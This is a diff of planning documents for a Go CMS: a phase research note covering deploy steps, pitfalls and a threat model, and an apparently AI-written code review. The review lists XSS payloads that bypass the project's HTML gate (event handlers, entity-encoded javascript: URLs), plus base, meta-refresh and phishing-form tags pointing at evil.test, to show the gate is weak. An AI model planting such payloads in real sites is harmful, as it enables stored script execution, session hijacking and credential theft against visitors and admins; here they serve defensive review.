+- **Restoring stored state without re-validation.** A stale filter turns into a permanent 422.
+- **Fixing the locale bug by disabling `en` in the database only.** That fixes one site, not the framework. It may still be wanted for grzybyfunkcjonalne (Open Question 2).
+- **An HTML detection heuristic instead of the unsafe render.** Post 64 is markdown with trailing raw HTML.
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| Pivot, foreign-key and table names of a relation | String conventions | `gorm.Statement{DB: db}.Parse(model)` → `Schema.Relationships.Relations[field]` | Honors custom `joinForeignKey`/`foreignKey` tags and the naming strategy |
+| Identifier quoting | `"` concatenation | existing `quotedIdent` / `qualifiedColumn` (query.go:486-497) | Already used by the search SQL |
+| Upsert | SELECT then INSERT/UPDATE | `clause.OnConflict{Columns: ..., DoUpdates: ...}` | Race-free across two tabs |
+| HTML pass-through | Regex HTML detector | `html.WithUnsafe()` + existing `rejectUnsafe` | PHP parity; verified on 100/100 bodies |
+| List param parsing in the SPA | New parser | existing `parseListQuery` / `toListQuery` / `listQueryKey` | Already strict about malformed input |
+
+## Runtime State Inventory (deploy and data, not a rename)
+
+| Category | Items Found | Action Required |
+|----------|-------------|------------------|
+| Stored data | UAT posts 53 and 64: `content_html` holds `<!-- raw HTML omitted -->` from the import. 0 translate attribute rows. `en` locale enabled with sort_order 1 | After deploy: re-render posts 53 and 64 by re-saving them in `/gfadmin` (this is also D-03's acceptance test), then confirm `content_html NOT LIKE '%raw HTML omitted%'` for all posts. Deciding whether `en` should be disabled is Open Question 2 |
+| Live service config | None. nginx vhost and supervisor programs unchanged | None |
+| OS-registered state | supervisor programs `grzybyfunkcjonalne-go`/`-nuxt` (names unchanged) | `sudo supervisorctl restart grzybyfunkcjonalne-go` (Nuxt restart optional) |
+| Secrets/env vars | None changed | None |
+| Build artifacts | `bin/grzybyfunkcjonalne` (sha256 94116f4a…68ea from 296b9cd); `modules/boardwalk/dist` embedded SPA | Rebuild with `scripts/build.sh` from a framework checkout at the release tag; rebuild and commit dist before the tag |
+| Schema | New migration `backend_list_states` | On the server: `bin/grzybyfunkcjonalne migrate` (DEPLOY.md Release step 3) **before** the restart |
+
+## Release / deploy mechanics (D-04)
+
+1. **Framework tag.**
+   - Tags are annotated (`git for-each-ref` shows `tag` objects), cut on master after the work, and pushed to `origin` (`git@git.golem15.com:golem15/summercms.git`).
+   - The latest tag is `v0.1.15` (2026-10-09). Next: `v0.1.16`, unless the concurrent session tags first; then take the next free number and check `git tag --contains <fix commit>`.
+   - In Phase 14.3 tagging, the site bump and the deploy were user actions, so make the tag and push a `checkpoint:human-action` or explicit approval.
+   - Before tagging: `scripts/check-admin-dist.sh`, `scripts/check-admin-openapi.sh --check`, `go vet ./...`, `go test ./...` (needs Docker, see Environment), `go test ./cmd/summer -run TestDocsTree`.
+2. **sm-journal-plugin.**
+   - Commit the FormatHTML change on `main`.
+   - Set `require git.golem15.com/golem15/summercms v0.1.16` in go.mod. It currently reads `v0.1.9`; there is a `replace ... => ../summercms.go`, so this is a nominal pin and `go mod tidy` works offline. Precedent: sm-translate-plugin's "chore(deps): require summercms v0.1.10".
+   - Push `origin main`.
+3. **Host (`sm-grzybyfunkcjonalne-app`).**
+   - `go.mod` has `replace git.golem15.com/golem15/summercms => ../summercms.go` and `require ... summercms v0.0.0`, so **there is no framework version to bump**. `scripts/build.sh` compiles the `../summercms.go` working tree, so check out the tag or a clean master there before building.
+   - The bump is the submodule pointer: `git -C plugins/golem15/journal fetch && git -C plugins/golem15/journal checkout <new main>`, then commit `plugins/golem15/journal` (current pointer 3d533d4).
+   - Also update README.md:114 and DEPLOY.md "Do not re-save imported posts in /gfadmin". Push origin master.
+4. **Deploy** (DEPLOY.md "Release"):
+   - `scripts/build.sh` and `scripts/check-deploy.sh`.
+   - rsync the binary to `bin/grzybyfunkcjonalne.new`, then `cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev && mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne`.
+   - rsync `config/` and `scripts/`. Nuxt `.output` is unchanged unless rebuilt.
+   - On the server in `/srv/grzybyfunkcjonalne/go`: `bin/grzybyfunkcjonalne migrate`, then `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
+   - Compare the uploaded binary's sha256 with the local build.
+5. **Smoke on the server** (UAT basic auth; loopback bypass):
+   ```sh
+   C=$(mktemp -d); printf 'resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n' > "$C/.curlrc"
+   cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl
+   rm -rf "$C"
+   ```
+   Expect `smoke: ok (98 urls)`. smoke.sh does not cover the admin.
+6. **Admin verification** (human, UAT credentials + admin login): see Validation Architecture → Manual. The UAT gate answers 401 off-server, so automated admin checks from the executor machine are impossible without credentials.
+7. **Rollback:** move `bin/grzybyfunkcjonalne.prev` back and restart. The new table is additive; the migration Rollback drops it.
+
+## Common Pitfalls
+
+### Pitfall 1: Ambiguous columns once anything joins
+**What goes wrong:** Journal's `FilterCategories` uses `db.Where("id IN (SELECT post_id FROM golem15_journal_posts_categories WHERE category_id IN (?))", ids)` and `restrictToOwnPosts` uses `db.Where("user_id = ?", principal.ID)`. Both are unqualified [VERIFIED: models/post.go:107; controllers/posts.go:95]. Any `JOIN` of a table with `id`/`user_id` makes them ambiguous.
+**How to avoid:** EXISTS subqueries only, with no joins in the outer query for search. Test "search + category filter + non-superuser" together.
+
+### Pitfall 2: The first list request clobbers the stored state
+**What goes wrong:** ListView's `immediate: true` watch fires an empty request at setup. With save-on-success, that request overwrites the stored state before the restore runs.
+**How to avoid:** the entry routine decides on restore before any list request. Add a vitest for this: on mount with an empty query, the `list-state` request comes before any list request, and no empty list request is made when the stored state is non-empty.
+
+### Pitfall 3: Stale stored state breaks the list permanently
+**What goes wrong:** A filter is renamed in `config_filter.yaml`, the stored state names the old filter, the restore sets it in the URL, and the list answers 422 on every visit.
+**How to avoid:** the restore route sanitizes against the current compiled schema and drops invalid parts.
+
+### Pitfall 4: The default locale is not first
+**What goes wrong:** Any site where the seeded `en` stays enabled with a lower `sort_order` than the default shows empty ML fields.
+**How to avoid:** order in cabana (Pattern 3), and test with a writer that returns `["en","pl"]` and default `pl`. The SPA fixtures use `['en', 'pl']` (MLFields.test.ts:18, FormView.test.ts:560); add a case where the default is not first.
+
+### Pitfall 5: The unsafe render widens what reaches `content_html`
+**What goes wrong:** `<style>`, `<footer>` and arbitrary tags now pass through. The gate blocks only `<script|iframe|object|embed`, `on*=` handlers and `javascript:|vbscript:|data:`. PHP additionally ran `Html::clean` for admins without `backend.allow_unsafe_markdown`.
+**How to avoid:** keep the gate. Post authors are authenticated admins with `golem15.journal.access_posts`. Note it as an accepted risk in the security review. Re-run `classes` tests: every `TestFormatHTMLRejectsUnsafeHTML` case still errors through the gate.
+**Warning sign:** a body containing the Polish word "data:" (for example "Data: 12.03") would be refused with 422. None of the 105 export bodies match today.
+
+### Pitfall 6: The version in the error log misleads
+**What goes wrong:** The Go log reports `summercms@v0.1.9`, which is sm-journal-plugin's go.mod require. The binary was built from the working tree at 296b9cd (v0.1.15 code). Do not diff against v0.1.9 to decide what UAT runs.
+
+### Pitfall 7: Docker-only tests cannot run on this machine
+**What goes wrong:** `go test ./modules/cabana/ -run TestListQueryContract` fails with `permission denied while trying to connect to the docker API` (run this session). sm-journal-plugin's TestMain is fail-closed too.
+**How to avoid:** put the new SQL-shape tests in pure DryRun tests (no DB) that run anywhere. Keep the Postgres tests as integration evidence on a Docker-enabled machine (user / CI). Phase 16-05 already records the same constraint.
+
+### Pitfall 8: Concurrent `modules/` session
+**What goes wrong:** The other session edits cabana or lagoon files in parallel and creates a merge conflict or a mixed commit.
+**How to avoid:** before each cabana or lagoon task, run `git status --porcelain -- modules admin` and `git log origin/master..` / `git fetch`. Stage by explicit path. Keep one logical change per commit (D-02).
+
+### Pitfall 9: Saving the form writes empty `en` translations
+**What goes wrong:** The form sends every enabled locale (`{pl: "...", en: ""}`), so a save creates `en` attribute rows with empty strings, including an empty `en` slug index. `Translated` falls back to the host for empty values, so the public output is unchanged.
+**How to avoid:** this is existing behavior. Note it, and do not "fix" it in this phase.
+
+## Code Examples
+
+### Default locale first (cabana, sketch)
+```go
+// enabledContentLocales: default locale first, others in the writer's order.
+codes, err := writer.EnabledLocales(ctx, db)
+...
+if def, err := writer.DefaultLocale(ctx, db); err == nil && def != "" {
+	if i := slices.Index(codes, def); i > 0 {
+		codes = append([]string{def}, slices.Delete(slices.Clone(codes), i, i+1)...)
+	}
+}
+return codes
+```
+
+### DryRun SQL test (pure, no Docker)
+```go
+// Source: probe this session; gorm.Config{DryRun: true, DisableAutomaticPing: true}
+db, _ := gorm.Open(pgdriver.New(pgdriver.Config{DSN: "host=127.0.0.1 port=1 user=x dbname=x sslmode=disable"}),
+	&gorm.Config{DryRun: true, DisableAutomaticPing: true, Logger: logger.Discard})
+sql := db.ToSQL(func(tx *gorm.DB) *gorm.DB {
+	q, _ := applyListSearch(tx.Model(&m2mRow{}), ctl, schema, &m2mRow{}, "x")
+	var n int64
+	return q.Count(&n)
+})
+// assert: contains `EXISTS (SELECT 1 FROM "<pivot>"`, contains `."<owner_fk>" = "<main>"."id"`, not contains `"Categories"."post_id"`, no "JOIN" in the outer query
+```
+
+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| `Joins(field)` for every relation column | EXISTS for search; correlated subquery for to-many sort | this phase | belongsToMany and hasMany search and sort work; counts are exact |
+| URL-only list state | URL + per-user `backend_list_states` | this phase | State survives form round-trips and navigation |
+| goldmark safe render | goldmark `html.WithUnsafe()` + gate | this phase | Imported HTML round-trips; PHP parity |
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | List state should persist across logins (durable per user), not end at logout like Winter's PHP session | Pattern 2 | Low: a one-line delete in `logout` switches to session semantics |
+| A2 | Winter's `Markdown::parse` passes raw HTML through (Parsedown default) | Root cause D-03 | Low: the export data (content_html == content for 83/100, entities-only diffs for 17) supports it |
+| A3 | Winter's `whereHas` applies the related model's soft-delete scope, so EXISTS should add `deleted_at IS NULL` for soft-deleting related models | Pattern 1 | Low: affects only soft-deleting related models; Journal Category has no soft delete [not verified] |
+| A4 | GORM polymorphic references carry `PrimaryValue` needing an extra bound condition; refusing polymorphic relations in search is acceptable for now | Pattern 1 | Low: no current list column uses a polymorphic relation [not verified across plugins] |
+| A5 | The PHP site's `use_rich_editor` setting value is unknown (Go UAT: `f`); 16.1 does not implement the rich-editor store-as-is branch | Pattern 4 | Low: unsafe markdown already round-trips HTML; the branch belongs with 16.2's Blog Editor |
+| A6 | The new route name `list-state` and table name `backend_list_states` are acceptable names | Pattern 2 | Cosmetic |
+
+## Open Questions (RESOLVED)
+
+1. **Tag number vs the concurrent session.**
+   - What we know: the latest tag is v0.1.15. No `modules/` edits are in flight in this checkout.
+   - What's unclear: whether the other session will tag first.
+   - Recommendation: the release task checks `git fetch --tags` and uses the next free `v0.1.x`.
+   - RESOLVED: plan 16.1-02 Task 1 picks the next free tag or reuses an existing tag that contains the fixes.
+2. **Should `en` be disabled on grzybyfunkcjonalne?**
+   - What we know: the site is Polish-only; the export has only `pl` translations. With en enabled, every admin save writes empty en rows (Pitfall 9).
+   - What's unclear: whether any client requests `locale=en`.
+   - Recommendation: the framework fix is enough for D-03. Ask the user whether to also set `is_enabled=false` for `en` on UAT (one SQL line, or the Locales admin) and in `migrate.sh`.
+   - RESOLVED: `en` stays enabled (Claude's discretion in CONTEXT.md); empty en rows on save are accepted.
+3. **Repairing posts 53 and 64: admin re-save or a console command?**
+   - Recommendation: admin re-save after the deploy. It is two posts and doubles as the D-03 acceptance test. A reusable `journal:rebuild-html` command is out of scope unless the user wants it.
+   - RESOLVED: plan 16.1-02 Task 3 repairs both posts by admin re-save.
+
+## Environment Availability
+
+| Dependency | Required By | Available | Version | Fallback |
+|------------|------------|-----------|---------|----------|
+| Go | all Go work | ✓ | go1.27.0 | — |
+| Node / npm / pnpm | admin SPA build + vitest; Nuxt build | ✓ | node v22.23.2 | — |
+| Docker daemon | testcontainers tests (cabana query/list, journal admin harness) | ✗ (`permission denied` on /var/run/docker.sock; user not in docker group) | client 29.7.2 | Pure DryRun tests here; Postgres suites on a Docker-enabled machine (user/CI) |
+| Local Postgres | ad-hoc queries | ✗ for this user (`role "golem" does not exist`) | — | — |
+| ssh `grzybyfunkcjonalne-uat` + peer psql | read-only UAT checks, deploy | ✓ | PostgreSQL 17.11 | — |
+| swag v1.16.6 | OpenAPI regeneration | ✓ (module cache) | v1.16.6 | — |
+| vitest suite | SPA tests | ✓ (`ListView.test.ts` + `MLFields.test.ts`: 44 passed this session) | — | — |
+
+**Missing dependencies with no fallback:** none blocking. Postgres-backed tests need the user's Docker-enabled environment before the tag.
+
+## Validation Architecture
+
+### Test Framework
+| Property | Value |
+|----------|-------|
+| Framework | Go `testing` (+ testcontainers-go v0.44.0 for Postgres); vitest + @vue/test-utils + happy-dom for the SPA |
+| Config file | none (Go); `admin/vite.config.*` / `admin/tests/setup.ts` |
+| Quick run command | `go test ./modules/cabana -run 'TestListRelation|TestListState|TestEnabledLocales' -count=1` (pure DryRun/unit parts) ; `npm --prefix admin test -- tests/list/ListView.test.ts tests/form` ; `go -C ../sm-journal-plugin test ./classes/` |
+| Full suite command | `go vet ./... && go test ./...` (summercms.go, Docker required) ; `go -C ../sm-journal-plugin test ./...` (Docker required) ; `npm --prefix admin test` ; `scripts/check-admin-dist.sh` ; `scripts/check-admin-openapi.sh --check` ; `go test ./cmd/summer -run TestDocsTree` |
+
+### Phase Requirements → Test Map
+| Req ID | Behavior | Test Type | Automated Command | File Exists? |
+|--------|----------|-----------|-------------------|-------------|
+| D-02 | Search over a many2many column emits EXISTS through the pivot, no `Joins` | unit (DryRun SQL) | `go test ./modules/cabana -run TestListRelationSearchSQL` | ❌ Wave 0 (new `query_relation_test.go`) |
+| D-02 | Search over many2many / hasMany / belongsTo returns the right rows, exact `total`, combined with a scope filter that uses unqualified `id` and a ListExtendQuery `user_id = ?` | integration (Postgres) | `go test ./modules/cabana -run TestListRelationSearch` | ❌ extend `query_test.go` fixtures (add a pivot model) |
+| D-02 | Sort by a to-many column orders by the aggregated value, no duplicate rows | integration | `go test ./modules/cabana -run TestListRelationSort` | ❌ |
+| D-01 | Successful list GET upserts state; 422 does not; unchanged state does not write | integration | `go test ./modules/cabana -run TestListStateSave` | ❌ |
+| D-01 | `GET .../list-state` returns the caller's state only, sanitizes stale filter/sort/per_page, 403 without permission | integration | `go test ./modules/cabana -run TestListStateRestore` | ❌ |
+| D-01 | Migration creates `backend_list_states`; rollback drops it; `backend_user_preferences` still absent | integration | `go test ./modules/lagoon -run TestBackendAdminMigrations` | ✅ extend |
+| D-01 | ListView: empty query → list-state requested first, then replaced URL; no empty list request before restore; own clear-all saves empty; same-path nav re-entry restores; page clamp | unit (vitest) | `npm --prefix admin test -- tests/list/ListView.test.ts` | ✅ extend |
+| D-03 | `meta.enabledLocales` has the default first when the writer returns `["en","pl"]` with default `pl` | unit/integration | `go test ./modules/cabana -run TestEnabledLocalesDefaultFirst` | ❌ (reuse `recordingWriter` in ml_smoke_test.go) |
+| D-03 | MLField opens on `enabledLocales[0]`, showing host value | unit (vitest) | `npm --prefix admin test -- tests/form/MLFields.test.ts` | ✅ extend |
+| D-03 | `FormatHTML` keeps raw HTML (`<p>a</p>\n<p>b</p>` round-trips; markdown + trailing `<footer>`/`<style>` kept) and still rejects script/iframe/event/javascript/vbscript/data | unit | `go -C ../sm-journal-plugin test ./classes/ -run TestFormatHTML` | ✅ extend `format_html_test.go` |
+| D-03 | Admin update of a post whose `content` is HTML leaves `content_html` equal to the HTML (re-save test from the todo) | integration (journal harness) | `go -C ../sm-journal-plugin test -run TestPostsAdminResaveKeepsHTML .` | ❌ add to `posts_admin_smoke_test.go` |
+| D-04 | 98-URL smoke on staging | e2e (server) | on-server `CURL_HOME=... scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` | ✅ |
+
+### Manual (UAT, human with credentials)
+On `/gfadmin/golem15/journal/posts`:
+1. Search "cordyceps": rows return, no "The list could not be loaded".
+2. Set a sort and a category filter, open a post, press Back (in-app): the same sort and filter remain and are in the URL. Navigate away via the rail and back: they are restored. Copy the URL into a new tab: the same list.
+3. Open any imported post: title, slug, content (HTML source) and excerpt are filled, and the locale selector shows `pl`.
+4. Re-save posts 53 and 64, then on the server: `SELECT count(*) FROM golem15_journal_posts WHERE content_html LIKE '%raw HTML omitted%'` → 0. `/blog/ekstrakt-z-turkey-tail` shows the author footer.
+
+### Sampling Rate
+- **Per task commit:** the quick-run commands for the touched repo (pure Go tests + vitest file).
+- **Per wave merge:** full suite of the touched repo, plus `check-admin-dist.sh` / `check-admin-openapi.sh --check` when SPA or swag files changed.
+- **Phase gate:** full suites green on a Docker-enabled machine before the tag; UAT smoke + manual list before `/msd-verify-work`.
+
+### Wave 0 Gaps
+- [ ] `modules/cabana/query_relation_test.go`: DryRun SQL tests plus many2many and hasMany fixture models (pivot table) for the Postgres tests.
+- [ ] `modules/cabana/list_state_test.go`: save, restore, sanitize, permission.
+- [ ] `sm-journal-plugin/posts_admin_smoke_test.go`: re-save keeps HTML.
+- [ ] No framework installs needed.
+
+## Security Domain
+
+### Applicable ASVS Categories
+
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | no (unchanged) | existing backend guard |
+| V3 Session Management | yes (new per-user state, not a session token) | State is keyed by the JWT principal ID; it carries no authority |
+| V4 Access Control | yes | The list-state route goes through `protect()` (controller permission before SQL). Rows are scoped to `principal.ID`; no route reads another user's state |
+| V5 Input Validation | yes | Stored state is re-validated against the compiled schema on restore. Search SQL uses bound `?` args and `quotedIdent` identifiers from GORM's schema. Size cap on stored JSON |
+| V6 Cryptography | no | — |
+| V14 / XSS (output) | yes | `content_html` now carries raw admin HTML; the `rejectUnsafe` gate stays on every write path (admin, import, API); the admin preview (`cabana.RenderMarkdown`, v-html) stays safe-mode |
+
+### Known Threat Patterns
+
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| SQL injection via relation/column names in search | Tampering | Names come from the compiled schema + `schema.Relationship`; `identifier()` + `LookUpField`; values bound |
+| Stored-state poisoning (oversized or crafted state) | Tampering / DoS | Validate on save (only successful list inputs) and on restore; size cap |
+| Cross-site GET that writes list state | Tampering (low) | Admin cookie is `SameSite=Strict` (auth.go `sessionCookie`); Bearer clients are not CSRF-able; the impact is only the attacker-chosen filters of the victim |
+| Stored XSS through post HTML | Tampering / Elevation | 3-pattern gate (script/iframe/object/embed, `on*=`, javascript/vbscript/data URLs); authors are permissioned admins; accepted residual risk vs PHP `Html::clean` (Pitfall 5) |
+
+## Sources
+
+### Primary (HIGH confidence, read or run this session)
+- summercms.go:
+  - `modules/cabana/query.go` (whole file);
+  - `field_ml.go`, `crud.go:405-715, 1187-1274`, `http.go:225-300, 700-745, 955-1030`;
+  - `list_schema.go:20, 526-541`, `schema.go:61-71`, `auth.go:180-340`;
+  - `modules/lagoon/backend_admin_migrations.go`, `backend_admin_migrations_test.go:100-135`;
+  - `admin/src/components/form/*`, `admin/src/views/{ListView,FormView}.vue`, `admin/src/app/listQuery.ts`.
+- sm-journal-plugin:
+  - `models/post.go`, `models/post/{columns,fields}.yaml`, `controllers/posts/*.yaml`;
+  - `controllers/posts.go`, `classes/format_html.go`, `classes/format_html_test.go`, `console/import_posts.go`;
+  - `admin_harness_test.go`, `go.mod`.
+- sm-translate-plugin: `classes/admin_writer.go`, `classes/translatable.go:40-223`, `updates/202610060005_seed_en_pl_locales.go`.
+- sm-grzybyfunkcjonalne-app: `go.mod`, `go.work`, `.gitmodules`, `scripts/build.sh`, `scripts/migrate.sh:167-175`, `DEPLOY.md`, `README.md:114`.
+- WinterCMS reference:
+  - `examples/golem15-wintercms-starter/modules/backend/widgets/Lists.php` (500-600, session calls), `Search.php`, `Filter.php`;
+  - `traits/SessionMaker.php`;
+  - `database/migrations/2014_01_04_000005_Db_Backend_User_Preferences.php`;
+  - `grzybyfunkcjonalne.pl/plugins/golem15/journal/models/Post.php:130-208`, `controllers/Posts.php:80-98`.
+- Probes:
+  - GORM v1.31.2 DryRun (many2many Joins SQL, references, EXISTS shape);
+  - goldmark v1.8.6 safe vs unsafe over 100 export bodies and 2 damaged posts;
+  - read-only UAT psql (locales, translate attributes, post column counts, wiped posts).
+
+### Secondary
+- `.planning/phases/16-*/16-RESEARCH.md` (Pitfalls 1-2), `16-04-SUMMARY.md`, `deferred-items.md`, `16-05-PLAN.md` (Docker constraint).
+
+## Metadata
+
+**Confidence breakdown:**
+- Root causes: HIGH. Each is reproduced by a probe or observed in UAT data.
+- EXISTS builder: HIGH for many2many and hasMany (probe); MEDIUM for polymorphic and soft-delete handling (assumed).
+- List-state design: MEDIUM. Discretion area; the semantics are reasoned through, but there is no Winter-identical storage.
+- Release mechanics: HIGH. Read from build.sh, go.mod, go.work and DEPLOY.md.
+
+**Research date:** 2026-10-09
+**Valid until:** 2026-10-23 (fast-moving repo with a concurrent `modules/` session)

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-REVIEW.md

@@ -0,0 +1,168 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+reviewed: 2026-10-09T21:20:45Z
+depth: standard
+files_reviewed: 22
+files_reviewed_list:
+  - admin/src/state/listState.ts
+  - admin/src/state/useAuth.ts
+  - admin/src/state/useSidebar.ts
+  - admin/src/views/ListView.vue
+  - admin/tests/form/FormView.test.ts
+  - admin/tests/list/ListView.test.ts
+  - admin/tests/smoke/list.smoke.test.ts
+  - admin/tests/state/listState.test.ts
+  - admin/tests/state/useAuth.test.ts
+  - docs/backend/forms.md
+  - docs/backend/lists-and-filters.md
+  - modules/cabana/README.md
+  - modules/cabana/http.go
+  - modules/cabana/locale_order_test.go
+  - modules/cabana/query.go
+  - modules/cabana/query_relation_test.go
+  - scripts/check-phase10.sh
+  - ../sm-journal-plugin/README.md
+  - ../sm-journal-plugin/classes/format_html.go
+  - ../sm-journal-plugin/classes/format_html_test.go
+  - ../sm-journal-plugin/go.mod
+  - ../sm-journal-plugin/posts_admin_smoke_test.go
+findings:
+  critical: 1
+  warning: 5
+  info: 3
+  total: 9
+status: issues_found
+---
+
+# Phase 16.1: Code Review Report
+
+**Reviewed:** 2026-10-09T21:20:45Z
+**Depth:** standard
+**Files Reviewed:** 22
+**Status:** issues_found
+
+## Narrative Findings (AI reviewer)
+
+## Summary
+
+I reviewed the phase diffs: summercms.go `1ef21b0^..HEAD` and sm-journal-plugin `3d533d4..HEAD`. I checked the relation subquery SQL in `modules/cabana/query.go` against GORM's relationship model. Table, pivot and column names come only from the parsed schema, every identifier goes through `quotedIdent`/`qualifiedColumn`, and the search term is a bound parameter. I found no SQL injection path. The EXISTS correlation is correct for belongsTo, hasOne, hasMany and belongsToMany, including self-referencing relations. The `enabledContentLocales` reorder is correct, and so is the list-state key and validation logic.
+
+The blocking problem is in the journal plugin. Turning on `html.WithUnsafe()` makes the three-regex `rejectUnsafe` blocklist the only defence against stored XSS. That blocklist can be bypassed with ordinary HTML-parser behaviour, and I confirmed this by running the same goldmark config and regexes. The public Nuxt layer (`vue-journal-layer/app/utils/htmlGate.ts`) uses the same three regexes word for word, so it adds no defence in depth. Before this phase, goldmark replaced these payloads with `<!-- raw HTML omitted -->`. They now reach `content_html` and the public `v-html` sinks.
+
+## Critical Issues
+
+### CR-01: The rejectUnsafe gate can be bypassed now that raw HTML passes, so stored XSS reaches content_html (T-16.1-02 not met)
+
+**File:** `../sm-journal-plugin/classes/format_html.go:22,25-27,54-66`
+**Issue:** With `goldmark.WithRendererOptions(html.WithUnsafe())`, goldmark copies raw HTML blocks verbatim. Inside a type-6 HTML block, which is any block starting with `<div>` or `<p>`, the content does not even have to be valid CommonMark tag syntax. With unsafe mode on, goldmark also stops applying its own `IsDangerousURL` filter. The remaining gate is a substring blocklist, and these payloads get past it. I verified each one against goldmark v1.8.6 with the exact engine options and regexes; every one returns `err == nil`:
+
+| Source passed to `FormatHTML` | Output (unchanged) | Why the gate misses it |
+|---|---|---|
+| `<p><img src="x"onerror="alert(1)"></p>` | same | `\son[a-z]+\s*=` needs whitespace before `on`; browsers accept a quoted value followed directly by the next attribute. Runs on page load. |
+| `<div>\n<svg/onload=alert(1)>\n</div>` | same | `/` is a valid attribute separator in HTML. Runs on page load. |
+| `<a href="javascript&#58;alert(1)">x</a>` | same | The browser decodes the entity before parsing the URL. |
+| `<a href="javascript&colon;alert(1)">x</a>` | same | Named entity. |
+| `<a href="&#106;avascript:alert(1)">x</a>` | same | Entity inside the scheme. |
+| `<a href="java\tscript:alert(1)">x</a>` | same | The URL parser strips tab and newline. |
+| `<div>\n<math><maction actiontype=statusline xlink:href="javascript&#58;alert(1)">x</maction></math>\n</div>` | same | Same issue in the MathML/SVG namespace. |
+
+Non-script tags that are just as dangerous also pass: `<base href="https://evil.test/">` rewrites every relative URL on the page, `<meta http-equiv="refresh" content="0;url=https://evil.test">` is an open redirect, and `<form action="https://evil.test"><input type=password ...>` is a credential phish. The plan accepted only "inert tags such as style, footer or form" as residual risk, not executable script.
+
+**Impact:** All three write paths call `FormatHTML`: admin save at `controllers/posts.go:213`, `journal:import-posts` at `console/import_posts.go:185`, and the Journal API writes at `controllers/api/posts_helpers.go:511,567,768`. The result is served as `content_html` and rendered with `v-html` behind `gateJournalHtml`, which uses the same regexes. So any admin with the posts permission, or any imported file, can plant script that runs for every public visitor. If the admin SPA and the public site share an origin, it also runs for any signed-in superuser who opens the post. The admin cookie is HttpOnly but is still sent on same-origin API calls, so this is an escalation from author to full admin. `CheckHTML` for category `content` (`controllers/categories.go:75`) shares the same weak gate. That part predates this phase, but it is the same root cause.
+
+The README sentence added in this phase ("its gate still refuses ... event handlers and javascript, vbscript and data URLs on every write path") and the T-16.1-02 mitigation claim are both untrue as written.
+
+**Fix:** Replace the regex blocklist with a parser-based allowlist. Following the project's preference for established libraries, add `github.com/microcosm-cc/bluemonday` with a decision note and sanitize the rendered output rather than refusing it:
+```go
+var postPolicy = func() *bluemonday.Policy {
+	p := bluemonday.UGCPolicy()          // drops script/iframe/object/embed/base/meta/form, on*, js/vbscript URLs
+	p.AllowAttrs("class").Globally()     // keep imported class attributes (D-03 round-trip)
+	p.AllowElements("footer", "figure", "figcaption")
+	return p
+}()
+
+func FormatHTML(src string) (string, error) {
+	var buf bytes.Buffer
+	if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
+		return "", fmt.Errorf("journal: markdown: %w", err)
+	}
+	return postPolicy.Sanitize(buf.String()), nil
+}
+```
+If a new dependency is not acceptable, use the parser already in the build: `golang.org/x/net/html`, at v0.58.0 in go.sum. Tokenize the output and refuse it when a start tag is not in an allowlist, when an attribute name starts with `on`, or when an `href`/`src`/`xlink:href`/`action`/`formaction` value, after entity decoding (the tokenizer does that) and after removing ASCII whitespace and control characters, starts with a scheme other than `http`, `https`, `mailto` or a relative path. Also port the fix to `vue-journal-layer/app/utils/htmlGate.ts`, for example DOMPurify on the client and server render, so the public layer actually provides defence in depth. Add every payload from the table above to `TestFormatHTMLRejectsUnsafeHTML`.
+
+## Warnings
+
+### WR-01: `data:` blocklist regex refuses ordinary Polish text "Data:" (and "metadata:"), so imports and saves fail
+
+**File:** `../sm-journal-plugin/classes/format_html.go:27`
+**Issue:** `(?i)(?:javascript|vbscript|data):` has no word boundary and no attribute context, so it matches body text. In Polish, "Data:" is the usual label for a date ("Data: 12 maja 2024", "Data publikacji:"). I confirmed that `FormatHTML("<p>Data: 12 maja 2024</p>")` is refused, and so is any English text containing "metadata:" or "big data:". The admin save returns 422 on `content` (`controllers/posts.go:213-217`), and `journal:import-posts` rejects the post. This works against D-03's goal that imported HTML bodies survive a save. The regex existed before this phase, but the phase now routes all raw imported HTML through it.
+**Fix:** Check URL schemes only inside URL-bearing attribute values. The parser-based gate from CR-01 does this. As a stop-gap, anchor the regex to an attribute value, for example `(?i)(?:href|src|action|formaction|xlink:href)\s*=\s*["']?\s*(?:javascript|vbscript|data):`. Treat that only as a stop-gap, since CR-01 shows the regex approach is not sufficient on its own.
+
+### WR-02: A stored list query that fails deterministically (non-422) locks the list until logout; on 422 the view shows only an error
+
+**File:** `admin/src/views/ListView.vue:141-150,165-184,420-424`
+**Issue:**
+1. Only a 422 clears the stored state. If a stored sort or filter makes the server fail deterministically with a 500, for example a relation sort whose `db.Joins(field)` collides with a join already added by `ListExtendQuery`, or a `relationSubquery` parse error, the list shows the `load_failed` alert. While `failed` is true, `DataTable`, including the sortable column headers, is not rendered (line 420 `v-if` / line 423 `v-else`), so the admin cannot clear the sort. Opening the bare list URL or the sidebar link restores the same stored query (line 171-176). The list stays broken until logout or until local storage is cleared by hand.
+2. On a 422, storage is cleared, but the URL still holds the stale parameters and the user sees only the error alert. A restore that the user never asked for turns into a failed screen, and the user has to leave and come back to recover.
+**Fix:** If the first load after a restore fails for any reason, drop the stored query and load the unfiltered list, rather than only clearing storage on a 422:
+```ts
+let restored = false
+// in the watch, when restoring:
+restored = true
+void router.replace({ path: route.path, query: toListQuery(stored) })
+
+// in loadList, after the generation check:
+if (!result.data && (restored || result.response?.status === 422)) {
+  restored = false
+  writeListState(controllerId, {})
+  void router.replace({ path: route.path, query: {} })
+  return
+}
+restored = false
+```
+Alternatively, keep `DataTable` headers rendered on failure so the sort can be reset.
+
